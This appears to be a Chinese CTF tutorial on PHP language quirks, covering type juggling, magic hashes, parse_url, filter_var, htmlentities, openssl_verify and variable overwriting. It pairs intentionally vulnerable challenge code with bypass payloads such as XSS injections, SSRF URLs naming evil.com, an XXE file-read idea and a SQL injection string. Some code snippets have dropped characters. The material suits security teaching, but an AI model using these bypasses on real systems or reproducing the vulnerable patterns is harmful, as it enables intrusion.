PHP 代码安全
约 4715 个字 660 行代码 16 张图片 预计阅读时间 24 分钟
PHP 相关题目一般是 CTF 竞赛中 Web 类题目考察最多的,PHP 语言具有很多特性,这些特性通常会造成预料之外的安全问题,也是很多 CTF 竞赛考查的知识点。
一、浮点数精度问题
理论知识
在用 PHP 进行浮点数的运算中 , 经常会出现一些和预期结果不一样的值,这是由于浮点数的精度有限。尽管取决于系统,PHP 通常使用 IEEE 754 双精度格式,则由于取整而导致的最大相对误差为 1.11e-16。非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递。
以十进制能够精确表示的有理数如 0.1 或 0.7,无论有多少尾数都不能被内部所使用的二进制精确表示,因此不能在不丢失一点点精度的情况下转换为二进制的格式。这就会造成混乱的结果:例如,floor((0.1+0.7)*10) 通常会返回 7 而不是预期中的 8,因为该结果内部的表示其实是类似 7.9999999999999991118…。
例子
题目代码
<?php
if($_GET['num']<>""){
$num = $_GET['num'];
if(strstr($num,'1')){
die("Sorry");
}elseif($num <> 1){
echo "Try to num = 1";
}
if($num == 1 ){
echo 'flag{xxxxxxxx}';
}
}
payload
num=0.9999999999999999999999999999999999999999999999
二、类型转换问题
理论知识
常见转换
常见的转换主要就是 int 转换为 string,string 转换为 int。 转换方式:
常见的PHP数学运算:<?php
var_dump(0 == '0'); // true
var_dump(0 == 'abcdefg'); // true
var_dump(0 === 'abcdefg'); // false
var_dump(1 == '1abcdef'); // true
var_dump(intval('3389a'));//输出3389
0e 转换问题
在松散模式的比较下,PHP 会将 0e 这类字符串识为科学技术法表示的数字。 通常会以md5()作为考考查。 字符串加密后 md5 为 0exxxx 的字符串 (x 必须是 10 进制数字 ) 列表
| 字符串 | md5 |
|---|---|
| QNKCDZO | 0e830400451993494058024219903391 |
| 240610708 | 0e462097431906509019562988736854 |
| aabg7XSs | 0e087386482136013740957780965295 |
| aabC9RqS | 0e041022518165728065344349536299 |
| s878926199a | 0e545993274517709034328855841020 |
例子(1)
题目代码
<?php
error_reporting(0);
$flag = 'flag{1S_numer1c_Not_S4fe}';
$id = $_GET['id'];
is_numeric($id)?die("Sorry...."):NULL;
if($id>665){
echo $flag;
}
?>
payload
id=666a
例子(2)
题目代码
<?php
$md5_1 = md5('QNKCDZO');
$a = @$_GET['a'];
$md5_2 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md5_1 == $md5_2) {
echo "flag{*****************}";
} else {
echo "false!!!";
}
}
else{
echo "please input a";
}
?>
payload
a=240610708
三、松散判断问题
理论知识
1. 变量的松散比较问题
php 比较相等性的运算符有两种,一种是严格比较 ===,另一种是松散比较 ==。
PHP 会根据变量的值,自动把变量转换为正确的数据类型。

2. 数组的松散问题
<?php
$c = $_GET['c'];
$a = $_GET['a'];
if(!strcmp($c[1],$a) && $c[1]!==$a){
echo 'flag{***********}';
}
3. 语句条件的松散判断问题
PHP 的 switch() 使用了松散比较。 $which会被自动动intval(),如果每个case()都没有break,就会一直执行到包含的语句。
<?php
if (isset($_GET['which'])) {
$which = $_GET['which'];
switch ($which)
{
case 0:
case 1:
case 2:
show_source( $which.'.php' );
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
?>
4. 函数的松散判断问题
var_dump(in_array("abc", $array));
in_array()是PHP当中经常使用的函数,用于检查数组中是否存在某个值。默认是使用松散模式遍历数组,进行比较。松散模式,存在一定的安全问题。

四、加密函数问题
理论知识
md5()和sha1()对一个数组进行加密将返回 NULL。
例子
题目代码
<?php
error_reporting(0);
$flag = 'flag{I_think_that_I_just_broke_md5}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === sha1($_GET['password']))
die($flag);
else
print 'Invalid password';
}
?>
payload
username[]=1&password[]=2
五、字符串处理函数漏洞缺陷
理论知识
strcmp()、ereg()、strpos()三个字符串处理函数在处理数组时,会出现异常,返回NULL。
例子
题目代码
<?php
error_reporting(0);
$flag = 'flag{P@ssw0rd_1s_n0t_s4fe_By_d0uble_Equ4ls}';
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo 'Invalid password';
}
?>
payload
password[]=gg
PHP 中的各种 trick
parse_url() 函数
条件
< php5.4.7
介绍
我们看以下测试:
<?php
$url=parse_url($_SERVER['REQUEST_URI']);
var_dump($url);
parse_str($url['query'],$query);
var_dump($query);
$key_word=array("select","from","for","like");
foreach($query as $key)
{
foreach($key_word as $value)
{
if(preg_match("/".$value."/",strtolower($key)))
{
die("Stop hacking by using SQL injection!");
}
}
}
?>
http://localhost/web/trick1/parse.php?sql=select
可以看到,被正常的过滤
H:\wamp64\www\web\trick1\parse.php:3:
array (size=2)
'path' => string '/web/trick1/parse.php' (length=21)
'query' => string 'sql=select' (length=10)
H:\wamp64\www\web\trick1\parse.php:5:
array (size=1)
'sql' => string 'select' (length=6)
Stop hacking by using SQL injection!
但是构造这样的请求:
http://localhost///web/trick1/parse.php?sql=select
则
H:\wamp64\www\web\trick1\parse.php:3:boolean false
H:\wamp64\www\web\trick1\parse.php:5:
array (size=0)
empty
可以绕过过滤,导致注入成功
因为这里用到了parse_url函数在解析url时存在的bug
通过:///x.php?key=value的方式可以使其返回False
原理
具体可以看下 parse_url() 的源码,关键代码如下
PHPAPI php_url *php_url_parse_ex(char const *str, size_t length)
{
char port_buf[6];
php_url *ret = ecalloc(1, sizeof(php_url));
char const *s, *e, *p, *pp, *ue;
...snip...
} else if (*s == '/' && *(s + 1) == '/') { /* relative-scheme URL */
s += 2;
} else {
just_path:
ue = s + length;
goto nohost;
}
e = s + strcspn(s, "/?#");
...snip...
} else {
p = e;
}
/* check if we have a valid host, if we don't reject the string as url */
if ((p-s) 1) {
if (ret->scheme) efree(ret->scheme);
if (ret->user) efree(ret->user);
if (ret->pass) efree(ret->pass);
efree(ret);
return NULL;
}
p-s < 1也就是如果url为///x.php,则p = e = s = s + 2,函数将返回 NULL。
再看PHP_FUNCTION,line 351:
/* {{{ proto mixed parse_url(string url, [int url_component])
Parse a URL and return its components */
PHP_FUNCTION(parse_url)
{
char *str;
size_t str_len;
php_url *resource;
zend_long key = -1;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "s|l", &str, &str_len, &key) == FAILURE) {
return;
}
resource = php_url_parse_ex(str, str_len);
if (resource == NULL) {
/* @todo Find a method to determine why php_url_parse_ex() failed */
RETURN_FALSE;
}
http://localhost/web/trick1//parse2.php?/home/binarycloud/
则会被当做相对url,
此时的parse2.php?/home/binarycloud/都会被当做是data[‘path’]
而不再是query,导致可以绕过过滤。
但是需要注意的是:
查阅官方手册后:
Example #2 A parse_url() example with missing scheme$url = '//www.example.com/path?googleguy=googley';
// Prior to 5.4.7 this would show the path as "//www.example.com/path"
var_dump(parse_url($url));
?>
实例
题目来自 2017swpu 的一道 web 题
<?php
error_reporting(0);
$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
function Add_S($array){
foreach($array as $key=>$value){
if(!is_array($value)){
$check= preg_match('/regexp|like|and|\"|%|insert|update|delete|union|into|load_file|outfile|\/\*/i', $value);
if($check)
{
exit("Stop hacking by using SQL injection!");
}
}else{
$array[$key]=Add_S($array[$key]);
}
}
return $array;
}
function check_url()
{
$url=parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
$key_word=array("select","from","for","like");
foreach($query as $key)
{
foreach($key_word as $value)
{
if(preg_match("/".$value."/",strtolower($key)))
{
die("Stop hacking by using SQL injection!");
}
}
}
}
?>
$url=parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query);
而这就导致了我们的攻击点。
in_array() 函数
相关知识
查阅 PHP 手册:
(PHP 4, PHP 5, PHP 7)
in_array() — 检查数组中是否存在某个值
大体用法为:
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
而官方的解释也很有意思:
大海捞针,在大海(haystack)中搜索针(needle),如果没有设置 strict 则使用宽松的比较。
漏洞问题
我们注意到
bool $strict = FALSE
宽松比较如果不设置,默认是FALSE,那么这就会引来安全问题
如果设置$strict = True:则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同。
那么不难得知,如果不设置,那么就会产生弱类型的问题
例如:
此时运行结果为false
但是如果我们将filename改为1sky
成功利用弱比较,而绕过了这里的检测
典型案例
上面的实例已说明了问题,其实这个问题是存在于上次文件的检查的 在php-security-calendar-2017-Wish List中
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
漏洞修复
将宽松比较设为 true 即可
可以看到,搜索的时候,直接要求前两个参数均为 array
此时已经不存在弱比较问题
filter_var() 函数
相关知识
(PHP 5 >= 5.2.0, PHP 7) filter_var — 使用特定的过滤器过滤一个变量 mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) 虽然官方说这是过滤器,但是如果用这个函数进行过滤,并且相信他的结果,是非常愚蠢的
漏洞问题
比较常用的当属 FILTER_VALIDATE_URL 了吧,但是它存在非常多的过滤 bypass
本应该用于 check url 是否合法的函数,就这样放过了可能导致 SSRF 的 url
类似的bypass还有:
0://evil.com:80$skysec.top:80/ 0://evil.com:80;skysec.top:80/
详细SSRF漏洞触发可参考这篇文章:
http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/
除此之外,还能触发xss
javascript://comment%0Aalert(1)
典型案例
// composer require "twig/twig"
require 'vendor/autoload.php';
class Template {
private $twig;
public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';
// Default twig setup, simulate loading
// index.html file from disk
$loader = new TwigLoaderArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new TwigEnvironment($loader);
}
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}
(new Template())->render();
这里的Link是使用了getNexSlideUrl()的结果 我们跟进这个函数
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
?nextSlide=javascript://comment%250aalert(1)
漏洞修复
不要轻易的相信 filter_var(),它只能当做初步验证函数,结果不能当做是否进入 if 的后续程序的条件
class_exists() 函数
相关知识
(PHP 4, PHP 5, PHP 7) class_exists — 检查类是否已定义 bool class_exists ( string $class_name [, bool $autoload = true ] ) 检查指定的类是否已定义。
漏洞问题
上述操作表面上看起来似乎没有什么问题,和函数名一样,检查指定的类是否已定义 但是关键点就在于选项上,可以选择调用或不调用__autoload 更值得思考的是,该函数默认调用了__autoload 什么是__autoload? PHP手册是这样描述的: 在编写面向对象(OOP) 程序时,很多开发者为每个类新建一个 PHP 文件。 这会带来一个烦恼:每个脚本的开头,都需要包含(include)一个长长的列表(每个类都有个文件)。 在 PHP 5 中,已经不再需要这样了。 spl_autoload_register() 函数可以注册任意数量的自动加载器,当使用尚未被定义的类(class)和接口(interface)时自动去加载。通过注册自动加载器,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。 那么自动调用__autoload会产生什么问题呢? 我们从下面的案例来看
典型案例
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
__autoload()
所以我们可以调用php的内置类实现攻击,例如SimpleXMLElement
正常来说,应该是可以这样触发render():
http://localhost/xxe.php?c=HomeController&d[t]=sky&d[v][new]=skrskr
可以得到回显
controller rendering new response 但此时我们可以使用SimpleXMLElement或是simplexml_load_string对象触发盲打xxe,进行任意文件读取
构造:
simplexml_load_file($filename,'SimpleXMLElement')
即
c=simplexml_load_file&d[t]=filename&d[v]=SimpleXMLElement
即可
而这里的$filename使用最常见的盲打XXE的payload即可
这就不再赘述,详细可参看
https://blog.csdn.net/u011721501/article/details/43775691
漏洞修复
对于特点情况,可关闭自动调用
bool $autoload = false
htmlentities() 函数
相关知识
(PHP 4, PHP 5, PHP 7)
htmlentities — 将字符转换为 HTML 转义字符
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] ) 本函数各方面都和 htmlspecialchars() 一样, 除了 htmlentities() 会转换所有具有 HTML 实体的字符。
如果要解码(反向操作),可以使用 html_entity_decode()。
漏洞问题
从上述知识来看,该函数应该是用来预防 XSS,进行转义的了
但是不幸的是
该函数默认使用的是 ENT_COMPAT
即不会转义单引号,那么就可能产生非常严重的问题,例如如下案例
典型案例
$sanitized = [];
foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}
$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));
$query = implode('&', $queryParts);
echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";
<a href='/images/size.php?htmlentities($query)'>link</a>
此时我们替换htmlentities($query)为
' onclick=alert(1) //
这样原语句就变成了
<a href='/images/size.php?' onclick=alert(1) //'>link</a>
这样就成功的引起了xss
故此最终的payload为
/?a'onclick%3dalert(1)%2f%2f=c
漏洞修复
必要的时候加上 ENT_QUOTES 选项
openssl_verify() 函数
相关知识
(PHP 4 >= 4.0.4, PHP 5, PHP 7) openssl_verify — 验证签名 int openssl_verify ( string $data , string $signature , mixed $pub_key_id [, mixed $signature_alg = OPENSSL_ALGO_SHA1 ] ) openssl_verify() 使用与pub_key_id关联的公钥验证指定数据data的签名signature是否正确。这必须是与用于签名的私钥相对应的公钥。
漏洞问题
这个函数看起来是用于验证签名正确性的,怎么会产生漏洞呢?
我们注意到它的返回值情况
其中,内部发送错误会返回 -1
我们知道if判断中,-1和1同样都可以被当做true
那么假设存在这样的情况
if(openssl_verify())
那么它出现错误的时候,则同样可以经过check进入后续程序
如何触发错误呢?
实际上只要使用另一个与当前公钥不匹配的算法生成的签名,即可触发错误
典型案例
class JWT {
public function verifyToken($data, $signature) {
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {
$object = json_decode(base64_decode($data));
$this->loginAsUser($object);
}
}
}
(new JWT())->verifyToken($_GET['d'], $_GET['s']);
漏洞修复
if 判断中使用
if(openssl_verify()===1)

intval() 缺陷
intval 函数用于获取变量的整数值。通过使用指定的进制 base 转换(默认是十进制
var_dump(intval('2')) // 2
var_dump(intval('3abcd')) // 3
var_dump(intval('abcd')) // 0
var_dump(0 == '0'); // true
var_dump(0 == 'abcdefg'); // true
var_dump(0 === 'abcdefg'); // false
var_dump(1 == '1abcdef'); // true
if(intval($a) > 1000) {
mysql_query("select * from news where id=".$a)
}
strcmp 函数缺陷
这个函数也经常的被使用到,也是一个经典函数。 定义: int strcmp ( string $str1 , string $str2 ) 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 漏洞: 在php5.3之前,当这个函数接受到了不符合的类型,这个函数将发生错误,显示了报错的警告信息后,将return 0。 经典题目:
<?php
$password="***************";
$a = array();
if (strcmp($a, $password) == 0) {
echo "Right!!!login success";
exit();
} else {
echo "Wrong password..";
}
?>
结果输出 Right!!!login success。
ereg(),eregi() 函数缺陷
- ereg 函数存在两个漏洞:
- %00 截断,在遇到 %00 的时候会认为字符串结束了
- ereg 函数中的参数值如果为数组,会返回 false
eregi 跟 ereg 函数漏洞基本一样,区别在于 ereg 区分大小写 ( 这里划重点,也是可以用来绕过的 ),eregi 函数不区分大小写。 经典题目:
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
附:payload= 1e9%00*-*
strlen() 函数缺陷
这个函数也是 CTF 函数黑魔法中的经典函数,自我矛盾。用来进行判断长度,然后结合大小比较来进行出题。
但是可以通过科学计数法的方法来进行绕过。比如:
1e9
经典题目:
<?php
@$a = $_GET['num'];
if(strlen($a)<4 && $a>10000){
echo $flag;
}
else{
echo "is too small";
}
?>
preg_match(),preg_match_all() 函数缺陷
先说 preg_match() 函数,是为了弥补 ereg 函数的 %00 截断问题,替换了 ereg 函数。但是,在 CTF 中踩了那么多坑以后,终于发现了制裁它的方法,构造数组,就可以了。
经典题目:
payload: id[]=1
<?php
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']); //有0-9的数字 和.在内的符号
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
echo 'Flag';
}else{
echo "no";
}// 最终输出了Flag
?>
payload:ip=127.0.0.1 abcdasd
<?php
$ip = $_GET['ip']; // 可以绕过
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
die('error');
} else {
echo "Flag";
}
?>// Flag
is_numeric() 函数缺陷 &trim() 函数缺陷
is_numeric() 函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。 好,那么问题来了,对于16进制的字符串,是怎么判断的呢? 它会默认16进制的字符串为整形,这样就可以构造16进制的payload来进行函数绕过。 例题:
16进制的abc=0x616263
<?php
header('content-type:text/html;charset=utf-8');
$a=$_GET['num'];
var_dump($a);
if(is_numeric($a)){
echo "您输入的是数字";
}else{
echo "请输入合法字符";
}
?>
<?php
echo is_numeric(233333); // 1
echo is_numeric('233333'); // 1
echo is_numeric(0x233333); // 1
echo is_numeric('0x233333'); // 1
echo is_numeric('9e9'); // 1
echo is_numeric('233333abc'); // 0
?>
$a = " \n\r\t\v\0abc \f"; var_dump(trim($a)); // abc \f
利用trim函数以及is_numeric函数实现绕过:
<?php
// %0c1%00
$number = "\f1\0";
// trim 函数会过滤 \n\r\t\v\0,但不会过滤过滤\f
$number_2 = trim($number);
var_dump($number_2); // \f1
$number_2 = addslashes($number_2);
var_dump($number_2); //
\f1
// is_numeric 检测的时候会过滤掉 '', '\t', '\n', '\r', '\v', '\f' 等字符
// 但是不会过滤 '\0'
var_dump(is_numeric($number)); // false
var_dump(strval(intval($number_2))); // 1
var_dump("\f1" == "1"); // true
?>
in_array() 函数缺陷
in_array() 函数用来判断字符串是否存在与数组中,但是在判断的时候,会进行类型强制转换,就会出现数字比较的情况。 经典例题:
<?php
$array=[0,1,2,'3'];
var_dump(in_array('abc', $array)); // true
var_dump(in_array('1bc', $array)); // true
?>
a = 1' or 1=1--+
strpos() 函数缺陷
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写
变量覆盖
extract() 函数
用法: extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。 EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 EXTR_SKIP - 如果有冲突,不覆盖已有的变量。 EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。 EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。 EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。 EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。 EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。 这个函数的重点就是默认将已经有的变量给覆盖掉 其实很简单,就是变量覆盖,给个例题一看就知道了:
<?php
$auth = 'yaun';
extract($_GET);
if($auth == 1){
echo "private!";
} else{
echo "public!";
}
?>
参数:auth=1
<?php
$flag = ‘xxx’;
extract($_GET);
if (isset($gift))
{
$content = trim(file_get_contents($flag));
if ($gift == $content)
{
echo ‘hctf{…}’;
}
else
{
echo ‘Oh..’;
}
}
?>
parse_str() 函数导致变量覆盖
parse_str() 函数用于把查询字符串解析到变量中,如果没有 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。 极度不建议 在没有 array 参数的情况下使用此函数,并且在 PHP 7.2 中将废弃不设置参数的行为。此函数没有返回值。
<?php
if(empty($_GET['id'])){
show_source(__FILE__);
die();
}else{
include('flag.php');
$a = "http://blog.51cto.com/12332766";
$id = $_GET['id'];
@parse_str($id);
if($a[0] == 'yaun'){
echo "yes is flag";
}else{
exit('其实很简单,其实并不难');
}
}
?>
payload:id=a[]=yaun
$$ 变量覆盖
直接上代码看:
CTF经典题目:<?php
include “flag.php”;
$_403 = “Access Denied”;
$_200 = “Welcome Admin”;
if ($_SERVER["REQUEST_METHOD"] != “POST”)
{
die(“BugsBunnyCTF is here :p…”);
}
if ( !isset($_POST["flag"]) )
{
die($_403);
}
foreach ($_GET as $key => $value)
{
$$key = $$value;
}
foreach ($_POST as $key => $value)
{
$$key = $value;
}
if ( $_POST["flag"] !== $flag )
{
die($_403);
}
echo “This is your flag : “. $flag . “\n”;
die($_200);
?>
json_decode() 函数
先介绍下 json 字符串吧,json 就是一种数据交换格式,在 JS 语言中,一切都是对象。因此,任何支持的类型都可以通过 JSON 来表示,例如字符串、数字、对象、数组等。但是对象和数组是比较特殊且常用的两种类型:
经典例题:<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>
payload: message={"key":0}
switch() 函数漏洞
switch 函数是 php 中的条件分支语句,通过对 switch 中的参数值进行判断,选择 case 中的代码去执行,但是会将 switch 中的参数转换为 int 类型,那么问题就来了,在进行类型转换的时候<?php
$i ="2abc";
switch ($i) {
case 0:
case 1:
case 2:
echo "i is less than 3 but not negative";
break;
case 3:
echo "i is 3";
}
// 输出了 i is less than 3 but not negative
?>
<?php
$a=0;
switch($a){
case $a>=0: echo 0;break;
case $a>=10:echo 1;break; // 输出1
default: echo 2;break;
}
?>
接下来进入漏洞学习篇章